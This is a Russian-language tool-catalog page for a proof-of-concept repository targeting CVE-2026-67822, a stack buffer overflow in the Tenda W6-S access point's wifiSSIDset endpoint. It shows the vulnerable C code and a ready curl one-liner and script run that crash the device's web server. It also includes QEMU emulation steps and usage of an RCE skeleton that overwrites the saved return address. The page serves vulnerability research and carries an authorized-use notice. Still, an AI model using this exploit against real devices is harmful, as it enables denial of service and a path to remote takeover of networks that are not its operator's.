Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset — PoC для CVE-2026-67822 — переполнение стека в Tenda W6-S /goform/wifiSSIDset: репродуктор DoS, QEMU MIPS-шим и концептуальный скелет RCE-пейлоада. | Kitploit
Инструменты/GitHubGitHub/hunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset
Безопасность встроенных системДинамический анализ (песочница)Безопасность IoTАнализ уязвимостейЭксплуатацияБезопасность оборудования и IoTРазработка Полезной НагрузкиАнализ ПрошивокЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHubhunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

PoC для CVE-2026-67822 — переполнение стека в Tenda W6-S /goform/wifiSSIDset: репродуктор DoS, QEMU MIPS-шим и концептуальный скелет RCE-пейлоада.

Репозиторий
13 дней назадЕщё не проверено
Поделиться

CVE-2026-67822 — Tenda W6-S wifiSSIDset: переполнение буфера в стеке (PoC)

Сопутствующий PoC к статье Hunt-Benito «GO без границ: CVE-2026-67822 — переполнение стека в обработчике формы wifiSSIDset устройства Tenda W6-S».

CVE-2026-67822 (CVSS 9.8, критическая, CWE-121) — это переполнение буфера в стеке в функции formwrlSSIDset(): именно эта C-функция отвечает за конечную точку /goform/wifiSSIDset веб-сервера /bin/httpd (производного от GoAhead) беспроводной точки доступа Tenda W6-S.

root@kitploit:~
char  v34[64];                                  /* 64-byte stack buffer       */
GO    = websGetVar(a1, "GO",    "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index);        /* unbounded -> stack overflow */

Подтверждённое воздействие: отказ в обслуживании (падение httpd). Потенциальное воздействие: удалённое выполнение кода (MIPS, сборка без stack canary / без ASLR).


Содержимое репозитория


Быстрый старт: воспроизведение DoS

Против реального W6-S (IP локальной сети по умолчанию 192.168.5.10) или эмулированного экземпляра:

root@kitploit:~
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target  : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.

Эквивалентная однострочная команда:

root@kitploit:~
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
    -d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"

После завершения запроса управляющий интерфейс не работает до перезапуска питания.


Воспроизведение без оборудования (QEMU MIPS + fake_apmib.so)

/bin/httpd ожидает реальное аппаратное обеспечение Tenda (libapmib.so, демон cfmd, MAC-адрес локальной сети). Шим fake_apmib.c имитирует ровно столько из этих компонентов, сколько нужно, чтобы httpd загрузился внутри эмулированной файловой системы прошивки. Настройка повторяет методику оригинального исследователя.

1. Сборка шима для MIPS big-endian

root@kitploit:~
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c

2. Сеть хоста — мост + TAP

root@kitploit:~
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0

3. Загрузка гостевой системы MIPS Malta

root@kitploit:~
$ sudo qemu-system-mips -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

4. Внутри гостевой системы: настройка интерфейса и подготовка прошивки

root@kitploit:~
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz  [email protected]:/root/
$ scp ./fake_apmib.so         [email protected]:/root/squashfs-root/

5. Chroot и запуск httpd с шимом

root@kitploit:~
guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev  ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &

Теперь управляющий интерфейс доступен по адресу http://192.168.5.10 (учётные данные по умолчанию admin / admin), и poc_dos.py работает с ним точно так же, как и с реальным оборудованием.

Точные прототипы внутренних вспомогательных функций apmib/cfmd компании Tenda различаются между сборками прошивки. Сверьте их с реальной libapmib.so вашей цели (objdump -T libapmib.so / IDA) и при необходимости скорректируйте fake_apmib.c.


Концептуальный путь к RCE

exploit_conceptual.py описывает форму эксплуатации помимо DoS:

root@kitploit:~
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
#  feed it to cyclic_offset() to recover the exact offset)

# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>

Этот каркас перенаправляет только $ra. Превращение перехвата в реальное выполнение кода требует либо шеллкода для стека без защиты NX, либо ROP-цепочки, собранной из гаджетов конкретного образа прошивки, — оба варианта зависят от конкретной сборки и намеренно оставлены исследователю. DoS подтверждён; RCE — вероятный наихудший случай, который отражает вектор CVSS (C:H/I:H).


Правомерное / ответственное использование

Этот код предназначен только для авторизованных исследований в области безопасности. Запускайте его исключительно против устройств, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Не используйте его против сетей или оборудования, которыми вы не управляете.

Ссылки

  • NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
  • Оригинальный разбор PoC (trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
  • MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
  • Страница продукта Tenda W6-S: https://www.tendacn.com/material/show/103478
Скачать инструмент
Затронутый продуктбеспроводная точка доступа Tenda W6-S
Затронутая прошивкаv1.0.0.4(510)
CVSS v3.19.8, критическая (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-121 (переполнение буфера в стеке)
Уязвимая конечная точкаPOST /goform/wifiSSIDset (параметры GO, index)
Исследователь / авторtrister
ФайлНазначение
poc_dos.pyПодтверждённо воспроизводит DoS. Отправляет слишком большой параметр GO и определяет возникшее падение httpd. Только стандартная библиотека — без зависимостей.
exploit_conceptual.pyКонцептуальный каркас RCE. Демонстрирует форму перехвата потока управления (заполнение до сохранённого $ra, перезапись) и вспомогательный инструмент с циклическим шаблоном для эмпирического определения смещения до $ra. Не включает готовый шеллкод или адреса гаджетов.
fake_apmib.cШим LD_PRELOAD, который подменяет обращения к аппаратуре и MIB Tenda, чтобы /bin/httpd мог загрузиться в гостевой системе QEMU MIPS, — именно эта методика позволила воспроизвести ошибку без физического устройства.
Перехваты шимаВозвращаетЗачем
apmib_init()1пропустить инициализацию аппаратуры/MIB
ConnectCfm()1имитировать ответ демона cfmd
GetValue("lan.ip", …)192.168.5.10статический управляющий IP
ioctl(SIOCGIFHWADDR)00:11:22:33:44:55поддельный MAC
connect()passthroughразрешение соединений через unix-сокеты/TCP